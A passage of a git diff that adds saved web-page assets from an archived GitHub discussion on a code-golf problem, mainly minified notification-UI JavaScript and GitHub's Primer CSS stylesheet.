0:i?a(t,r):t,d=e.length-1,m;d>=0;d--)(m=e[d])&&(o=(i?m(t,r,o):m(o))||o);return i&&o&&k(t,r,o),o},"notifications_team_subscription_form_element_decorateClass");let h=u(class extends HTMLElement{closeMenu(){this.details.toggleAttribute("open",!1)}},"NotificationsTeamSubscriptionFormElement");n([s.fA],h.prototype,"details",2),h=n([s.Ih],h);var v=Object.defineProperty,C=Object.getOwnPropertyDescriptor,T=u((e,t,r,i)=>{for(var o=i>1?void 0:i?C(t,r):t,d=e.length-1,m;d>=0;d--)(m=e[d])&&(o=(i?m(t,r,o):m(o))||o);return i&&o&&v(t,r,o),o},"notifications_subscriptions_dialog_label_item_decorateClass");let E=u(class extends HTMLElement{toggleDropdownLabel(e){if(e.preventDefault(),e.stopPropagation(),this.label){const t=this.label.getAttribute("aria-checked")==="true";this.setCheckedForDropdownLabel(!t),this.dispatchEvent(new CustomEvent("notifications-dialog-label-toggled",{detail:{wasChecked:t,toggledLabelId:this.labelId,templateLabelElementClone:this.hiddenLabelTemplate.cloneNode(!0)},bubbles:!0}))}}setCheckedForDropdownLabel(e){this.label.setAttribute("aria-checked",e.toString())}},"NotificationsDialogLabelItemElement");T([s.fA],E.prototype,"label",2),T([s.fA],E.prototype,"hiddenLabelTemplate",2),T([s.fA],E.prototype,"hiddenCheckboxInput",2),T([s.Lj],E.prototype,"labelId",2),E=T([s.Ih],E)}},_=>{var L=u(s=>_(_.s=s),"__webpack_exec__");_.O(0,["vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c51"],()=>L(55089));var g=_.O()}]);})(); + +//# sourceMappingURL=notifications-global-efb6b04b1517.js.map \ No newline at end of file diff --git a/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/primer-10084108b209.css b/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/primer-10084108b209.css new file mode 100644 index 0000000..81c8b42 --- /dev/null +++ b/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/primer-10084108b209.css @@ -0,0 +1,13 @@ +:root,[data-color-mode=light][data-light-theme*=light],[data-color-mode=dark][data-dark-theme*=light]{color-scheme:light}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=light]{color-scheme:light}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=light]{color-scheme:light}}[data-color-mode=light][data-light-theme*=dark],[data-color-mode=dark][data-dark-theme*=dark]{color-scheme:dark}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark]{color-scheme:dark}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark]{color-scheme:dark}}[data-color-mode]{color:var(--color-fg-default);background-color:var(--color-canvas-default)}@media(forced-colors: active){body{--color-accent-emphasis: Highlight;--color-fg-on-emphasis: LinkText}}/*! + * @primer/css/core + * http://primer.style/css + * + * Released under MIT license. Copyright (c) 2019 GitHub Inc. + */.ActionList{padding:8px}.ActionList--full{padding:0}.ActionList--subGroup{padding:0}.ActionList--divided .ActionList-item-label::before{position:absolute;top:-6px;display:block;width:100%;height:1px;content:"";background:var(--color-action-list-item-inline-divider)}.ActionList--divided .ActionList-item-descriptionWrap--inline::before{position:absolute;top:-6px;display:block;width:100%;height:1px;content:"";background:var(--color-action-list-item-inline-divider)}.ActionList--divided .ActionList-item-descriptionWrap--inline .ActionList-item-label::before{content:unset}.ActionList--divided .ActionList-item--navActive .ActionList-item-label::before,.ActionList--divided .ActionList-item--navActive+.ActionList-item .ActionList-item-label::before{visibility:hidden}.ActionList-item:first-of-type .ActionList-item-label::before,.ActionList-sectionDivider+.ActionList-item .ActionList-item-label::before{visibility:hidden}.ActionList-item:first-of-type .ActionList-item-descriptionWrap--inline::before,.ActionList-sectionDivider+.ActionList-item .ActionList-item-descriptionWrap--inline::before{visibility:hidden}.ActionList--tree{--ActionList-tree-depth: 1}.ActionList--tree .ActionList-item--subItem>.ActionList-content{font-size:14px}.ActionList--tree .ActionList-item.ActionList-item--singleton .ActionList-content{padding-left:32px}.ActionList--tree .ActionList-item.ActionList-item--navActive:not(.ActionList-item--subItem) .ActionList-item-label{font-weight:400}.ActionList--tree .ActionList-content[aria-expanded]+.ActionList--subGroup{position:relative}.ActionList--tree .ActionList-content[aria-expanded]+.ActionList--subGroup .ActionList-content{padding-left:calc(8px * var(--ActionList-tree-depth))}.ActionList--tree .ActionList-content[aria-expanded=true] .ActionList-item-collapseIcon{transition:transform 120ms linear;transform:rotate(0deg)}.ActionList--tree .ActionList-content[aria-expanded=true].ActionList-content--hasActiveSubItem>.ActionList-item-label{font-weight:400}.ActionList--tree .ActionList-content[aria-expanded=false] .ActionList-item-collapseIcon{transition:transform 120ms linear;transform:rotate(-90deg)}.ActionList--tree .ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem>.ActionList-item-label{font-weight:400}.ActionList--tree .ActionList-item--hasSubItem .ActionList-item--subItem:not(.ActionList-item--hasSubItem) .ActionList-content>span:first-child{padding-left:24px}.ActionList--tree>[aria-level="1"].ActionList-item--hasSubItem>.ActionList--subGroup::before{position:absolute;left:16px;width:1px;height:100%;content:"";background:var(--color-action-list-item-inline-divider)}.ActionList--tree .ActionList-item--hasSubItem:not([aria-level="1"])>.ActionList--subGroup::before{position:absolute;left:calc(8px * (var(--ActionList-tree-depth)) + 7px);width:1px;height:100%;content:"";background:var(--color-action-list-item-inline-divider)}.ActionList-item{position:relative;list-style:none;background-color:transparent;border-radius:6px}.ActionList-item:hover,.ActionList-item:active{cursor:pointer}@media(hover: hover){.ActionList-item:not(.ActionList-item--hasSubItem):hover,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover{cursor:pointer;background-color:var(--color-action-list-item-default-hover-bg)}.ActionList-item:not(.ActionList-item--hasSubItem):hover:not(.ActionList-item--navActive),.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover:not(.ActionList-item--navActive){outline:solid 1px transparent;outline-offset:-1px;box-shadow:inset 0 0 0 2px var(--color-action-list-item-default-active-border)}}.ActionList-item:not(.ActionList-item--hasSubItem):active,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active{background:var(--color-action-list-item-default-active-bg)}.ActionList-item:not(.ActionList-item--hasSubItem):active:not(.ActionList-item--navActive),.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active:not(.ActionList-item--navActive){outline:solid 1px transparent;outline-offset:-1px;box-shadow:inset 0 0 0 2px var(--color-action-list-item-default-active-border)}@media screen and (prefers-reduced-motion: no-preference){.ActionList-item:not(.ActionList-item--hasSubItem):active,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active{animation:ActionList-item-active-bg 4s forwards cubic-bezier(0.33, 1, 0.68, 1)}}@keyframes ActionList-item-active-bg{50%{box-shadow:inset 0 2px 12px 6px rgba(var(--color-canvas-default), 0.4);transform:scale(1)}100%{transform:scale(0.97)}}@media(hover: hover){.ActionList-item:not(.ActionList-item--hasSubItem):hover .ActionList-item-label::before,.ActionList-item:not(.ActionList-item--hasSubItem):hover+.ActionList-item .ActionList-item-label::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover .ActionList-item-label::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover+.ActionList-item .ActionList-item-label::before{visibility:hidden}.ActionList-item:not(.ActionList-item--hasSubItem):hover .ActionList-item-descriptionWrap--inline::before,.ActionList-item:not(.ActionList-item--hasSubItem):hover+.ActionList-item .ActionList-item-descriptionWrap--inline::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover .ActionList-item-descriptionWrap--inline::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover+.ActionList-item .ActionList-item-descriptionWrap--inline::before{visibility:hidden}}.ActionList-item:not(.ActionList-item--hasSubItem):active .ActionList-item-label::before,.ActionList-item:not(.ActionList-item--hasSubItem):active+.ActionList-item .ActionList-item-label::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active .ActionList-item-label::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active+.ActionList-item .ActionList-item-label::before{visibility:hidden}.ActionList-item.ActionList-item--hasSubItem>.ActionList-content{z-index:1}@media(hover: hover){.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover{background-color:var(--color-action-list-item-default-hover-bg)}}.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active{background-color:var(--color-action-list-item-default-active-bg)}.ActionList-item.ActionList-item--navActive:not(.ActionList-item--subItem) .ActionList-item-label{font-weight:600}.ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger){background:var(--color-action-list-item-default-selected-bg)}@media(hover: hover){.ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger):hover{background-color:var(--color-action-list-item-default-hover-bg)}}.ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger)::before,.ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger)+.ActionList-item::before{visibility:hidden}.ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger)::after{position:absolute;top:calc(50% - 12px);left:-8px;width:4px;height:24px;content:"";background:var(--color-accent-fg);border-radius:6px}.ActionList-item[aria-checked=true] .ActionList-item-multiSelectCheckmark,.ActionList-item[aria-selected=true] .ActionList-item-multiSelectCheckmark{visibility:visible;opacity:1;transition:visibility 0 linear 0,opacity 50ms}.ActionList-item[aria-checked=true] .ActionList-item-singleSelectCheckmark,.ActionList-item[aria-selected=true] .ActionList-item-singleSelectCheckmark{visibility:visible}@media screen and (prefers-reduced-motion: no-preference){.ActionList-item[aria-checked=true] .ActionList-item-singleSelectCheckmark,.ActionList-item[aria-selected=true] .ActionList-item-singleSelectCheckmark{animation:checkmarkIn 200ms cubic-bezier(0.11, 0, 0.5, 0) forwards}}.ActionList-item[aria-checked=true] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectIconRect,.ActionList-item[aria-selected=true] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectIconRect{fill:var(--color-accent-fg);stroke:var(--color-accent-fg);stroke-width:1px}.ActionList-item[aria-checked=true] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectCheckmark,.ActionList-item[aria-selected=true] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectCheckmark{fill:var(--color-fg-on-emphasis)}.ActionList-item[aria-checked=false] .ActionList-item-multiSelectCheckmark,.ActionList-item[aria-selected=false] .ActionList-item-multiSelectCheckmark{visibility:hidden;opacity:0;transition:visibility 0 linear 50ms,opacity 50ms}.ActionList-item[aria-checked=false] .ActionList-item-singleSelectCheckmark,.ActionList-item[aria-selected=false] .ActionList-item-singleSelectCheckmark{visibility:hidden;transition:visibility 0s linear 200ms;-webkit-clip-path:inset(16px 0 0 0);clip-path:inset(16px 0 0 0)}@media screen and (prefers-reduced-motion: no-preference){.ActionList-item[aria-checked=false] .ActionList-item-singleSelectCheckmark,.ActionList-item[aria-selected=false] .ActionList-item-singleSelectCheckmark{animation:checkmarkOut 200ms cubic-bezier(0.11, 0, 0.5, 0) forwards}}.ActionList-item[aria-checked=false] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectIconRect,.ActionList-item[aria-selected=false] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectIconRect{fill:var(--color-canvas-default);stroke:var(--color-border-default);stroke-width:1px}.ActionList-item[aria-checked=false] .ActionList-item-multiSelectIconRect,.ActionList-item[aria-selected=false] .ActionList-item-multiSelectIconRect{fill:var(--color-canvas-default);border:1px solid var(--color-border-default)}@keyframes checkmarkIn{from{-webkit-clip-path:inset(16px 0 0 0);clip-path:inset(16px 0 0 0)}to{-webkit-clip-path:inset(0 0 0 0);clip-path:inset(0 0 0 0)}}@keyframes checkmarkOut{from{-webkit-clip-path:inset(0 0 0 0);clip-path:inset(0 0 0 0)}to{-webkit-clip-path:inset(16px 0 0 0);clip-path:inset(16px 0 0 0)}}.ActionList-item.ActionList-item--danger .ActionList-item-label{color:var(--color-danger-fg)}.ActionList-item.ActionList-item--danger .ActionList-item-visual{color:var(--color-danger-fg)}@media(hover: hover){.ActionList-item.ActionList-item--danger:hover{background:var(--color-action-list-item-danger-hover-bg)}.ActionList-item.ActionList-item--danger:hover .ActionList-item-label{color:var(--color-action-list-item-danger-hover-text)}}.ActionList-item.ActionList-item--danger .ActionList-content:active{background:var(--color-action-list-item-danger-active-bg)}.ActionList-item .ActionList{padding:unset}.ActionList-content{position:relative;display:grid;width:100%;padding:6px 8px;font-size:14px;font-weight:400;color:var(--color-fg-default);text-align:left;-webkit-user-select:none;user-select:none;background-color:transparent;border:none;border-radius:6px;transition:background 33.333ms linear;touch-action:manipulation;touch-action:manipulation;-webkit-tap-highlight-color:transparent;grid-template-rows:min-content;grid-template-areas:"leadingAction leadingVisual label trailingVisual trailingAction";grid-template-columns:min-content min-content minmax(0, auto) min-content min-content;align-items:start}.ActionList-content>:not(:last-child){margin-right:8px}.ActionList-content:hover{text-decoration:none}.ActionList-content:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.ActionList-content:focus:not(:focus-visible){outline:solid 1px transparent}.ActionList-content:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.ActionList-content[aria-disabled=true] .ActionList-item-label,.ActionList-content[aria-disabled=true] .ActionList-item-description{color:var(--color-primer-fg-disabled)}.ActionList-content[aria-disabled=true] .ActionList-item-visual{fill:var(--color-primer-fg-disabled)}@media(hover: hover){.ActionList-content[aria-disabled=true]:hover{cursor:not-allowed;background-color:transparent}}@media screen and (prefers-reduced-motion: no-preference){.ActionList-content[aria-expanded]+.ActionList--subGroup{transition:opacity 160ms cubic-bezier(0.25, 1, 0.5, 1),transform 160ms cubic-bezier(0.25, 1, 0.5, 1)}}.ActionList-content[aria-expanded]+.ActionList--subGroup .ActionList-content{padding-left:24px}.ActionList-content[aria-expanded].ActionList-content--visual16+.ActionList--subGroup .ActionList-content{padding-left:32px}.ActionList-content[aria-expanded].ActionList-content--visual20+.ActionList--subGroup .ActionList-content{padding-left:36px}.ActionList-content[aria-expanded].ActionList-content--visual24+.ActionList--subGroup .ActionList-content{padding-left:40px}.ActionList-content[aria-expanded=true] .ActionList-item-collapseIcon{transition:transform 120ms linear;transform:scaleY(-1)}.ActionList-content[aria-expanded=true]+.ActionList--subGroup{height:auto;overflow:visible;visibility:visible;opacity:1;transform:translateY(0)}.ActionList-content[aria-expanded=true].ActionList-content--hasActiveSubItem>.ActionList-item-label{font-weight:600}.ActionList-content[aria-expanded=false] .ActionList-item-collapseIcon{transition:transform 120ms linear;transform:scaleY(1)}.ActionList-content[aria-expanded=false]+.ActionList--subGroup{height:0;overflow:hidden;visibility:hidden;opacity:0;transform:translateY(-16px)}.ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem{background:var(--color-action-list-item-default-selected-bg)}.ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem .ActionList-item-label{font-weight:600}.ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem::before,.ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem+.ActionList-item::before{visibility:hidden}.ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem::after{position:absolute;top:calc(50% - 12px);left:-8px;width:4px;height:24px;content:"";background:var(--color-accent-fg);border-radius:6px}.ActionList-content.ActionList-content--sizeMedium{padding:10px 8px}.ActionList-content.ActionList-content--sizeLarge{padding:14px 8px}.ActionList-content.ActionList-content--fontSmall{font-size:12px}@media(pointer: coarse){.ActionList-content{padding:14px 8px}}.ActionList-content.ActionList-content--blockDescription .ActionList-item-visual{place-self:start}.ActionList-item-action--leading{grid-area:leadingAction}.ActionList-item-visual--leading{grid-area:leadingVisual}.ActionList-item-label{grid-area:label}.ActionList-item-visual--trailing{grid-area:trailingVisual}.ActionList-item-action--trailing{grid-area:trailingAction}.ActionList-item-descriptionWrap{grid-area:label;display:flex;flex-direction:column}.ActionList-item-descriptionWrap .ActionList-item-description{margin-top:4px}.ActionList-item-descriptionWrap .ActionList-item-label{font-weight:600}.ActionList-item-descriptionWrap--inline{position:relative;flex-direction:row;align-items:baseline}.ActionList-item-descriptionWrap--inline .ActionList-item-description{margin-left:8px}.ActionList-item-description{font-size:12px;font-weight:400;line-height:1.5;color:var(--color-fg-muted)}.ActionList-item-visual,.ActionList-item-action{display:flex;min-height:20px;color:var(--color-fg-muted);pointer-events:none;fill:var(--color-fg-muted);align-items:center}.ActionList-item-label{position:relative;font-weight:400;line-height:20px;color:var(--color-fg-default)}.ActionList-item-label--truncate{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.ActionList-item--subItem>.ActionList-content{font-size:12px}.ActionList-sectionDivider:not(:empty){display:flex;padding:6px 8px;font-size:12px;font-weight:600;color:var(--color-fg-muted);flex-direction:column}.ActionList-sectionDivider:empty{display:block;height:1px;padding:0;margin:7px -8px 8px;list-style:none;background:var(--color-action-list-item-inline-divider);border:0}.ActionList-sectionDivider .ActionList-sectionDivider-title{font-size:12px;font-weight:600;color:var(--color-fg-muted)}.ActionList-sectionDivider--filled{margin:8px -8px;background:var(--color-canvas-subtle);border-top:1px solid var(--color-action-list-item-inline-divider);border-bottom:1px solid var(--color-action-list-item-inline-divider)}.ActionList-sectionDivider--filled:empty{height:8px;box-sizing:border-box}.ActionList-sectionDivider--filled:first-child{margin-top:0}/*! normalize.css v4.1.1 | MIT License | github.com/necolas/normalize.css */html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,main,menu,nav,section{display:block}summary{display:list-item}audio,canvas,progress,video{display:inline-block}audio:not([controls]){display:none;height:0}progress{vertical-align:baseline}template,[hidden]{display:none !important}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:inherit}b,strong{font-weight:bolder}dfn{font-style:italic}h1{font-size:2em;margin:.67em 0}mark{background-color:var(--color-attention-subtle);color:var(--color-text-primary)}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-0.25em}sup{top:-0.5em}img{border-style:none}svg:not(:root){overflow:hidden}code,kbd,pre,samp{font-family:monospace;font-size:1em}figure{margin:1em 40px}hr{box-sizing:content-box;height:0;overflow:visible}button,input,select,textarea{font:inherit;margin:0}optgroup{font-weight:600}button,input{overflow:visible}button,select{text-transform:none}button,html [type=button],[type=reset],[type=submit]{-webkit-appearance:button}fieldset{border:1px solid silver;margin:0 2px;padding:.35em .625em .75em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100%;padding:0;white-space:normal}textarea{overflow:auto}[type=checkbox],[type=radio]{box-sizing:border-box;padding:0}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{height:auto}[type=search]::-webkit-search-cancel-button,[type=search]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-input-placeholder{color:inherit;opacity:.54}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}*{box-sizing:border-box}input,select,textarea,button{font-family:inherit;font-size:inherit;line-height:inherit}body{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji";font-size:14px;line-height:1.5;color:var(--color-fg-default);background-color:var(--color-canvas-default)}a{color:var(--color-accent-fg);text-decoration:none}a:hover{text-decoration:underline}b,strong{font-weight:600}hr,.rule{height:0;margin:15px 0;overflow:hidden;background:transparent;border:0;border-bottom:1px solid var(--color-border-muted)}hr::before,.rule::before{display:table;content:""}hr::after,.rule::after{display:table;clear:both;content:""}table{border-spacing:0;border-collapse:collapse}td,th{padding:0}button{cursor:pointer;border-radius:0}[hidden][hidden]{display:none !important}details summary{cursor:pointer}details:not([open])>*:not(summary){display:none !important}a,button,[role=button],input[type=radio],input[type=checkbox]{transition:80ms cubic-bezier(0.33, 1, 0.68, 1);transition-property:color,background-color,box-shadow,border-color}a:focus,button:focus,[role=button]:focus,input[type=radio]:focus,input[type=checkbox]:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}a:focus:not(:focus-visible),button:focus:not(:focus-visible),[role=button]:focus:not(:focus-visible),input[type=radio]:focus:not(:focus-visible),input[type=checkbox]:focus:not(:focus-visible){outline:solid 1px transparent}a:focus-visible,button:focus-visible,[role=button]:focus-visible,input[type=radio]:focus-visible,input[type=checkbox]:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}a:not([class]):focus,a:not([class]):focus-visible,input[type=radio]:focus,input[type=radio]:focus-visible,input[type=checkbox]:focus,input[type=checkbox]:focus-visible{outline-offset:0}.focus{border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px var(--color-accent-fg)}@media(forced-colors: active){*:focus,*:focus-visible{outline:solid 1px transparent}input:not([type=radio],[type=checkbox]):focus,input:not([type=radio],[type=checkbox]):focus-visible,textarea:focus,textarea:focus-visible,select:focus,select:focus-visible{outline-offset:2px}}kbd{display:inline-block;padding:3px 5px;font:11px ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;line-height:10px;color:var(--color-fg-default);vertical-align:middle;background-color:var(--color-canvas-subtle);border:solid 1px var(--color-neutral-muted);border-bottom-color:var(--color-neutral-muted);border-radius:6px;box-shadow:inset 0 -1px 0 var(--color-neutral-muted)}h1,h2,h3,h4,h5,h6{margin-top:0;margin-bottom:0}h1{font-size:32px;font-weight:600}h2{font-size:24px;font-weight:600}h3{font-size:20px;font-weight:600}h4{font-size:16px;font-weight:600}h5{font-size:14px;font-weight:600}h6{font-size:12px;font-weight:600}p{margin-top:0;margin-bottom:10px}small{font-size:90%}blockquote{margin:0}ul,ol{padding-left:0;margin-top:0;margin-bottom:0}ol ol,ul ol{list-style-type:lower-roman}ul ul ol,ul ol ol,ol ul ol,ol ol ol{list-style-type:lower-alpha}dd{margin-left:0}tt,code,samp{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px}pre{margin-top:0;margin-bottom:0;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px}.octicon{vertical-align:text-bottom}.octicon{display:inline-block;overflow:visible !important;vertical-align:text-bottom;fill:currentColor}.Box{background-color:var(--color-canvas-default);border-color:var(--color-border-default);border-style:solid;border-width:1px;border-radius:6px}.Box--condensed{line-height:1.25}.Box--condensed .Box-header{padding:8px 16px}.Box--condensed .Box-body{padding:8px 16px}.Box--condensed .Box-footer{padding:8px 16px}.Box--condensed .Box-btn-octicon.btn-octicon{padding:8px 16px;margin:-8px -16px;line-height:1.25}.Box--condensed .Box-row{padding:8px 16px}.Box--spacious .Box-header{padding:24px;line-height:1.25}.Box--spacious .Box-title{font-size:20px}.Box--spacious .Box-body{padding:24px}.Box--spacious .Box-footer{padding:24px}.Box--spacious .Box-btn-octicon.btn-octicon{padding:24px;margin:-24px -24px}.Box--spacious .Box-row{padding:24px}.Box-header{padding:16px;margin:-1px -1px 0;background-color:var(--color-canvas-subtle);border-color:var(--color-border-default);border-style:solid;border-width:1px;border-top-left-radius:6px;border-top-right-radius:6px}.Box-title{font-size:14px;font-weight:600}.Box-body{padding:16px;border-bottom:1px solid var(--color-border-default)}.Box-body:last-of-type{margin-bottom:-1px;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.Box-row{padding:16px;margin-top:-1px;list-style-type:none;border-top-color:var(--color-border-muted);border-top-style:solid;border-top-width:1px}.Box-row:first-of-type{border-top-left-radius:6px;border-top-right-radius:6px}.Box-row:last-of-type{border-bottom-right-radius:6px;border-bottom-left-radius:6px}.Box-row.Box-row--unread,.Box-row.unread{box-shadow:inset 2px 0 0 var(--color-accent-emphasis)}.Box-row.navigation-focus .Box-row--drag-button{color:var(--color-accent-fg);cursor:grab;opacity:100}.Box-row.navigation-focus.is-dragging .Box-row--drag-button{cursor:grabbing}.Box-row.navigation-focus.sortable-chosen{background-color:var(--color-canvas-subtle)}.Box-row.navigation-focus.sortable-ghost{background-color:var(--color-canvas-subtle)}.Box-row.navigation-focus.sortable-ghost .Box-row--drag-hide{opacity:0}.Box-row--focus-gray.navigation-focus{background-color:var(--color-canvas-subtle)}.Box-row--focus-blue.navigation-focus{background-color:var(--color-accent-subtle)}.Box-row--hover-gray:hover{background-color:var(--color-canvas-subtle)}.Box-row--hover-blue:hover{background-color:var(--color-accent-subtle)}@media(min-width: 768px){.Box-row-link{color:var(--color-fg-default);text-decoration:none}.Box-row-link:hover{color:var(--color-accent-fg);text-decoration:none}}.Box-row--drag-button{opacity:0}.Box-footer{padding:16px;margin-top:-1px;border-top-color:var(--color-border-default);border-top-style:solid;border-top-width:1px;border-radius:0 0 6px 6px}.Box--scrollable{max-height:324px;overflow:scroll}.Box--blue{border-color:var(--color-accent-muted)}.Box--blue .Box-header{background-color:var(--color-accent-subtle);border-color:var(--color-accent-muted)}.Box--blue .Box-body{border-color:var(--color-accent-muted)}.Box--blue .Box-row{border-color:var(--color-accent-muted)}.Box--blue .Box-footer{border-color:var(--color-accent-muted)}.Box--danger{border-color:var(--color-danger-emphasis)}.Box--danger .Box-row:first-of-type{border-color:var(--color-danger-emphasis)}.Box--danger .Box-body:last-of-type{border-color:var(--color-danger-emphasis)}.Box-header--blue{background-color:var(--color-accent-subtle);border-color:var(--color-accent-muted)}.Box-row--yellow{background-color:var(--color-attention-subtle)}.Box-row--blue{background-color:var(--color-accent-subtle)}.Box-row--gray{background-color:var(--color-canvas-subtle)}.Box-btn-octicon.btn-octicon{padding:16px 16px;margin:-16px -16px;line-height:1.5}.Box--overlay{width:448px;margin-right:auto;margin-left:auto;background-color:var(--color-canvas-default);background-clip:padding-box;border-color:var(--color-border-default);box-shadow:0 0 18px rgba(0,0,0,.4)}.Box--overlay .Box-header{margin:0;border-width:0;border-bottom-width:1px;border-top-left-radius:6px;border-top-right-radius:6px}.Box-overlay--narrow{width:320px}.Box-overlay--wide{width:640px}.Box-body.scrollable-overlay{max-height:400px;overflow-y:scroll}.Box-body .help{padding-top:8px;margin:0;color:var(--color-fg-muted);text-align:center}.breadcrumb-item{display:inline-block;margin-left:-0.35em;white-space:nowrap;list-style:none}.breadcrumb-item::after{display:inline-block;height:.8em;margin:0 .5em;content:"";border-right:.1em solid var(--color-fg-muted);transform:rotate(15deg)}.breadcrumb-item:first-child{margin-left:0}.breadcrumb-item-selected::after,.breadcrumb-item[aria-current]:not([aria-current=false])::after{content:none}.breadcrumb-item-selected a{color:var(--color-fg-default)}.btn{position:relative;display:inline-block;padding:5px 16px;font-size:14px;font-weight:500;line-height:20px;white-space:nowrap;vertical-align:middle;cursor:pointer;-webkit-user-select:none;user-select:none;border:1px solid;border-radius:6px;-webkit-appearance:none;appearance:none}.btn:hover{text-decoration:none}.btn:disabled,.btn.disabled,.btn[aria-disabled=true]{cursor:default}.btn i{font-style:normal;font-weight:500;opacity:.75}.btn .octicon{margin-right:4px;color:var(--color-fg-muted);vertical-align:text-bottom}.btn .octicon:only-child{margin-right:0}.btn .Counter{margin-left:2px;color:inherit;text-shadow:none;vertical-align:top;background-color:var(--color-btn-counter-bg)}.btn .dropdown-caret{margin-left:4px;opacity:.8}.btn{color:var(--color-btn-text);background-color:var(--color-btn-bg);border-color:var(--color-btn-border);box-shadow:var(--color-btn-shadow),var(--color-btn-inset-shadow);transition:80ms cubic-bezier(0.33, 1, 0.68, 1);transition-property:color,background-color,box-shadow,border-color}.btn:hover,.btn.hover,[open]>.btn{background-color:var(--color-btn-hover-bg);border-color:var(--color-btn-hover-border);transition-duration:.1s}.btn:active{background-color:var(--color-btn-active-bg);border-color:var(--color-btn-active-border);transition:none}.btn.selected,.btn[aria-selected=true]{background-color:var(--color-btn-selected-bg);box-shadow:var(--color-primer-shadow-inset)}.btn:disabled,.btn.disabled,.btn[aria-disabled=true]{color:var(--color-primer-fg-disabled);background-color:var(--color-btn-bg);border-color:var(--color-btn-border)}.btn:disabled .octicon,.btn.disabled .octicon,.btn[aria-disabled=true] .octicon{color:var(--color-primer-fg-disabled)}.btn-primary{color:var(--color-btn-primary-text);background-color:var(--color-btn-primary-bg);border-color:var(--color-btn-primary-border);box-shadow:var(--color-btn-primary-shadow),var(--color-btn-primary-inset-shadow)}.btn-primary:hover,.btn-primary.hover,[open]>.btn-primary{background-color:var(--color-btn-primary-hover-bg);border-color:var(--color-btn-primary-hover-border)}.btn-primary:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.btn-primary:focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}.btn-primary:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.btn-primary:active,.btn-primary.selected,.btn-primary[aria-selected=true]{background-color:var(--color-btn-primary-selected-bg);box-shadow:var(--color-btn-primary-selected-shadow)}.btn-primary:disabled,.btn-primary.disabled,.btn-primary[aria-disabled=true]{color:var(--color-btn-primary-disabled-text);background-color:var(--color-btn-primary-disabled-bg);border-color:var(--color-btn-primary-disabled-border)}.btn-primary:disabled .octicon,.btn-primary.disabled .octicon,.btn-primary[aria-disabled=true] .octicon{color:var(--color-btn-primary-disabled-text)}.btn-primary .Counter{color:inherit;background-color:var(--color-btn-primary-counter-bg)}.btn-primary .octicon{color:var(--color-btn-primary-icon)}a.btn-primary:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}a.btn-primary:focus:not(:focus-visible){outline:solid 1px 